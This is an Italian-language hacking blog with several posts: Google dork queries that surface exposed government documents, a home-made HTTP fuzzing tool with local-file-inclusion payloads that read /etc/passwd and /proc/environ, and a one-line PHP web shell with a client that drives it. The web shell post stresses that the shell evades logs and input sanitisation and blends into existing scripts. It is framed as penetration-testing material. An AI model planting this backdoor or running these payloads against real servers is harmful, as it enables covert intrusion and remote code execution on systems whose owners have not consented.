Google Dorks – uncovering Top-Secret information

3
lug/10
0

Sì, Google trova anche documenti classificati, pubblicati sul web per errore o per chissà quale altro motivo.
Per fare una prova si puo’ fare una ricerca su Google digitando il seguente testo:

top secret ext:pdf site:gov

Appariranno tra i risultati decine e decine di documenti provenienti da siti governativi, classificati come top secret (o quantomeno così sembra). Ma non finisce qui: ci si puo’ sbizzarrire in tanti modi. Altre query interessanti da dare in pasto al famoso motore di ricerca sono:

ufo incident report ext:pdf site:gov
classified information ext:pdf site:gov
department of defense ext:pdf site:gov

Inoltre basta un po’ di fantasia per trovare altri tipi di informazioni interessanti, ad esempio con la seguente query si accede a decine di file che spiegano le modalità di accesso per gli “addetti ai lavori” a vari servizi online che non dovrebbero essere del tutto pubblici:

user manual ext:pdf site:gov

Insomma, ancora una volta ci si rende conto come la “sicurezza tramite segretezza” è il miglior modo per esporre parti sensibili al pubblico e quindi anche agli utenti malintenzionati che potrebbero sfruttare le informazioni ottenute, quantomeno come footprint.

VHTT – Versatile HTTP Testing Tool

30
giu/10
0

L’HTTP è un protocollo vasto e molto utilizzato ma spesso causa di vulnerabilità. Una di queste, poco conosciuta, è il “source code disclosure”, che si verifica quando si ha una differente interpretazione dell’URI da parte dell’http daemon rispetto a quella del sistema operativo: se ad esempio “/index.php\x00.txt” per l’http daemon è un file di testo (che quindi non deve essere interpretato), mentre per il sistema operativo è il file index.php, quando si chiederà all’http daemon di restituire il contenuto del file “/index.php\x00.txt”, questo chiederà al sistema operativo il contenuto di “/index.php\x00.txt” ed otterrà il contenuto di “/index.php”, ma lo tratterà come un file testuale restituendone anche il codice sorgente, il quale potrebbe contenere informazioni sensibili. Spesso anche solo appendendo bytes nel range %00-%FF alla file dell’URI richiesto – o in una particolare posizione all’interno di esso – si possono causare errori che aiutano a capire il funzionamento di un’applicazione web o che regalano informazioni preziose. Per testare queste vulnerabilità così come altre più conosciute come sql-injection, local file inclusion e cross-site scripting, o per scoprirne di nuove, ho deciso di creare un tool che tramite la manipolazione di una determinata parte dell’uri e la ricerca di pattern stabiliti dall’utente nell’output, permette di effettuare test che possono mettere in luce una vasta gamma di vulnerabilità nelle applicazioni web e perfino negli http daemon. Il tool in questione si chiama VHTT (Versatile HTTP Testingt Tool), è scritto in Python nella sua versione 3.1 ed è reperibile nella pagina di download dei tools.

Il suo funzionamento è semplice quanto efficace: basterà avviare il programma senza parametri per ottenere la schermata di help.

# ./vhtt.py

Usage: ./vhtt.py <host> <uri ('%exp%' will be replaced by the current tested item> <regexp1,regexp2,...> [list of items to test for (evaluable in python)]

Un esempio di utilizzo di questo programma per cercare un eventuale source code disclosure è:


# ./vhtt.py www.example.com "/index.php%exp%" "<?php"

Il programma procederà a testare il comportamento normale dell’applicazione web senza che l’input venga modificato, per poi riportare eventuali anomalie di comportamento – ad esempio se normalmente nell’output non sarà presente l’espressione “<?php” specificata dall’utente, il comportamento “anomalo” si verificherà invece quando nell’output tale espressione sarà presente. Se si vuole testare un’URL per la vulnerabilità “full path disclosure”, sarà sufficiente il seguente comando:


# ./vhtt.py www.example.com "/index.php?var=%exp%value" "Warning:,function."

oppure


# ./vhtt.py www.example.com "/index.php?var%exp%=value" "Warning:,function." "['[]']"

Per testare local file inclusion basterà il seguente comando:


# ./vhtt.py www.example.com "/index.php?var=%exp%value" "root:x:,Mozilla/" "['../../../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../../self/proc/environ%00']"

Tutto le altre vulnerabilità sono testabili con un po’ di fantasia e di ragionamento – al lettore è lasciato l’esercizio di sperimentare le potenzialità di questo strumento :) . Alla prossima.

Simple but effective PHP Shell – httpshell v0.1

25
giu/10
0

Talvolta, durante un penetration test, capita di imbattersi in un’applicazione web vulnerabile che ci permette in qualche modo di uploadare un file da remoto sul server web. In queste situazioni avere a portata di mano una web shell di piccole dimenzioni, poco complessa ma funzionale e sporattutto che non ‘puzzi’ troppo di programma malizioso (o malware), puo’ essere fondamentale.

Spesso in questi scenari abbiamo a che fare con l’interprete PHP di cui è munito il server web (che quasi sempre è Apache) e di conseguenza avremo bisogno di una web shell scritta in PHP. Ecco la soluzione che propongo:

<?php
if(isset($_POST['p'])){eval(base64_decode($_POST['p']));}
?>

come si può vedere in una singola riga di PHP abbiamo creato una web shell dalle caratteristiche particolari:

- E’ molto piccola (solo pochi bytes) ed è quindi facile da uploadare.

- Il codice verrà eseguito SOLO se la variabile POST “p” è specificata nella richiesta HTTP, e questo la rende facilmente integrabile nel codice di altri script già presenti sul server: infatti essa non ne disturberà in alcun modo il corretto funzionamento, a meno che una variabile POST “p” non sia specificata (in tal caso sarà sufficiente dare un altro nome alla variabile che conterrà il codice da eseguire)

- I comandi passati tramite la variabile “p” saranno codificati in base64: questo permette di bypassare funzioni che aggiungono backslash o che sanitarizzano le variabili, inoltre nei logs non sarà facile per un occhio non allenato distinguere del codice malevolo.

- La variabile “p” è una variabile POST e questo la esclude dai log dove invece sono riportate le variabili GET (o comunque anche se vi è riportata le variabili post sono meno controllate delle GET, in quanto quasi tutte le web shell le utilizzano)

- Altra importante caratteristica è che il codice eseguito non sarà un comando al sistema operativo ma CODICE PHP: questo apre una miriade di possibilità, infatti tramite una sola richiesta HTTP si potrà includere nel comando passato alla shell anche un’intero script PHP (e questo la rende una web shell molto versatile).

Detto questo passiamo ad alcuni problemi legati all’utilizzo della suddetta web shell: essenzialmente ne esiste solo uno, ovvero, passare codice php codificato tramite l’algoritmo base64 in una variabile POST a mano è un procedimento lungo, soprattuto se i comandi da eseguire sono tanti (basti pensare ad esempio la situazione in cui si voglia sfogliare le cartelle del sistema operativo alla ricerca di files).

Per ovviare a questo problema ho rilasciato un tool a riga di comando chiamato “httpshell.py” che automatizza i passaggi sopracitati, rendendo la web shell di cui sopra una vera e propria shell pronta all’utilizzo. Il codice di “httpshell.py” è reperibile alla pagina di download dei tools.

Httpshell.py è scritto in Python, un ottimo linguaggio di scripting, e funziona con la versione 2.5. Sarà sufficiente salvare questo codice in un file con estenzione .py (per gli utenti Windows) ed eseguirlo dopo aver installato l’interpreter.
Un esempio di utilizzo è:


./httpshell.py www.example.com /path/to/shell.php "p=passthru('%cmd%')%3b"

Se i parametri sono corretti il programma aprirà una shell interattiva che vi permetterà di inserire i comandi, i quali verranno automaticamente codificati in base64 e spediti alla shell con una richiesta HTTP POST, per poi restituirvi l’eventuale output (per utenti esperti: ridirigere lo stderr del comando sullo stdout potrebbe essere un’ottima idea).

Post innaugurativo

23
giu/10
0

Il primo post del Blog è sempre quello più difficile da scrivere.  Sei a corto di idee e le poche che ti vengono in mente possono sembrarti banali.  Allora ho deciso di scrivere qualcosa di semplice ma che spieghi lo spirito con il quale vorrei curare questo Blog: mettere a disposizione di chiunque le mie idee,  nella speranza che, condividendole con persone costruttive, possano  creare dialogo,  dibattito,  competizione e così accrescere e migliorare le mie conoscenze e quelle altrui.

Inserito in: Other